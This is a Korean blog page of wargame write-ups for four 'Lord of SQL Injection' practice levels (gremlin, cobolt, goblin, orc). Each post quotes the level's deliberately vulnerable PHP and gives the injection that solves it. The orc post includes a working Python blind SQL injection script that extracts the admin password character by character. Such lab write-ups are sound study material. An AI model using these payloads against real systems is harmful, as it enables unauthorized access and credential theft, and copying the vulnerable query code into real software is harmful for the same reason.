늘모자란, 개발

늘모자란, 개발

Result for wargame/-los.eagle-jump.org:

  • 2017/06/19 [LOS] orc
  • 2017/06/19 [LOS] goblin
  • 2017/06/19 [LOS] cobolt
  • 2017/06/19 [LOS] gremlin

  • <?php
    include "./config.php"; 
     login_chk(); 
     dbconnect(); 
     if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
     $query = "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'"; 
     echo "
    query : {$query}
    "; $result = @mysql_fetch_array(mysql_query($query)); if($result['id']) echo "

    Hello admin

    "; $_GET[pw] = addslashes($_GET[pw]); $query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'"; $result = @mysql_fetch_array(mysql_query($query)); if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc"); highlight_file(__FILE__); ?>


    이건 쿼리가 두개다
    일단 admin을 획득하려면 참을 만들면 되는데

    select id from prob_orc where id='admin' and pw='1' or 1=1 -- a'
    


    이거만으로 안 끝난다. 왜냐면 단순히 result['id']가 있기만해도 되기때문. 즉 이 문제는 blind sql로 pw가 맞으면 admin이 출력될거고 아니면 안뜨고 뭐 그런..느낌이다
    blind sqli 시에 깔끔히 답만 알려주지 않기때문에 length로 체크를 하도록 간단히 코드를 짰다. 그리고 이 사이트는 cloudflare를 사용하고 있기때문에 cookie 가 없으면 돌아가지 않아서 이때부터 requests 모듈을 사용하기로 했다

    #!/usr/bin/env python
    # -*- coding: utf8 -*-
     
    import requests
    
    headers = {'Host': 'los.eagle-jump.org', 'Cookie': 'PHPSESSID=dihankitbe8chkt37mk9tt9040;'}
    url = "http://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php"
    string = "1234567890abcdefghijklmnopqrstuvwxyz"
    
    loop = 0
    pw = ''
    
    for j in range(1,30):
     data = "?pw=' or ( id='admin' and length(pw)={} )-- a".format(j)
     r = requests.get(url+data,headers=headers)
    
     if r.text.find('Hello admin') != -1 :
     loop = j
     break
    
    for i in range(1,loop+1):
     for j in string:
     data = "?pw=' or ( id='admin' and substring(pw,{},1)=0x{} ) -- a".format(i,j.encode('hex'))
     r = requests.get(url+data,headers=headers)
    
     if r.text.find('Hello admin') != -1 :
     pw = pw + j
     print "[!] found",pw
     break
     
    print pw
    

    돌리다보면 나온다

    2017/06/19 17:01 2017/06/19 17:01

     include "./config.php"; 
     login_chk(); 
     dbconnect(); 
     if(preg_match('/prob||.|()/i', $_GET[no])) exit("No Hack ~~"); 
     if(preg_match('/\'|\"|`/i', $GET[no])) exit("No Quotes ~~"); 
     $query = "select id from prob_goblin where id='guest' and no={$_GET[no]}"; 
     echo "


    query : {$query}


    "; $result = @mysql_fetch_array(mysql_query($query)); if($result['id']) echo "

    Hello {$result[id]}

    "; if($result['id'] == 'admin') solve("goblin"); highlight_file(FILE); ?>

    $_GET['no']안에 quotes 를 사용할 수 없다니 이제 야매는 안될 것 같다 전 문제에서 썼던 order by 꼼수로 넘어가자.

    select id from prob_goblin where id='guest' and no=1 or 1=1 order by 1 asc -- a
    

    2017/06/19 16:56 2017/06/19 16:56

     include "./config.php"; 
     login_chk();
     dbconnect();
     if(preg_match('/prob||.|()/i', $_GET[id])) exit("No Hack ~~"); 
     if(preg_match('/prob||.|()/i', $_GET[pw])) exit("No Hack ~~"); 
     $query = "select id from prob_cobolt where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')"; 
     echo "


    query : {$query}


    "; $result = @mysql_fetch_array(mysql_query($query)); if($result['id'] == 'admin') solve("cobolt"); elseif($result['id']) echo "

    Hello {$result['id']} You are not admin :(

    "; highlight_file(FILE); ?>

    이거도 그냥 간단히 넘어보려고 다음과 같이 쿼리를 짰다

    select id from prob_cobolt where id='1' and pw=md5('1') or 1=1 order by 1 desc -- a')
    

    근데 리턴되는 값이 이상하다.

    Hello rubiya
    You are not admin :(
    

    컬럼에 하나만 있을 줄 알았더니 몇개가 더 있나보다. 한 두개쯤 있을 것 같으니 (아마 세개째부터는 생각을 해야될것 같지만)

    select id from prob_cobolt where id='1' and pw=md5('1') or 1=1 order by 1 asc -- a')
    

    이런식으로 현재 select 되는 row가 아닌 다른 row를 선택되게 바꿔주면 pass

    2017/06/19 16:48 2017/06/19 16:48

     include "./config.php";
     login_chk();
     dbconnect();
     if(preg_match('/prob||.|()/i', $_GET[id])) exit("No Hack ~~"); // do not try to attack another table, database!
     if(preg_match('/prob||.|()/i', $_GET[pw])) exit("No Hack ~~");
     $query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
     echo "


    query : {$query}


    "; $result = @mysql_fetch_array(mysql_query($query)); if($result['id']) solve("gremlin"); highlight_file(FILE); ?>

    질의 하면 위에 쿼리가 나온다. 나는 id를 true로 만들고 pw는 주석처럼 만들어버려서 뒤로 점프할 생각이었고 그냥 된다. 몸풀기..

    select id from prob_gremlin where id='' or 1=1 -- ' and pw='1'
    

    2017/06/19 16:43 2017/06/19 16:43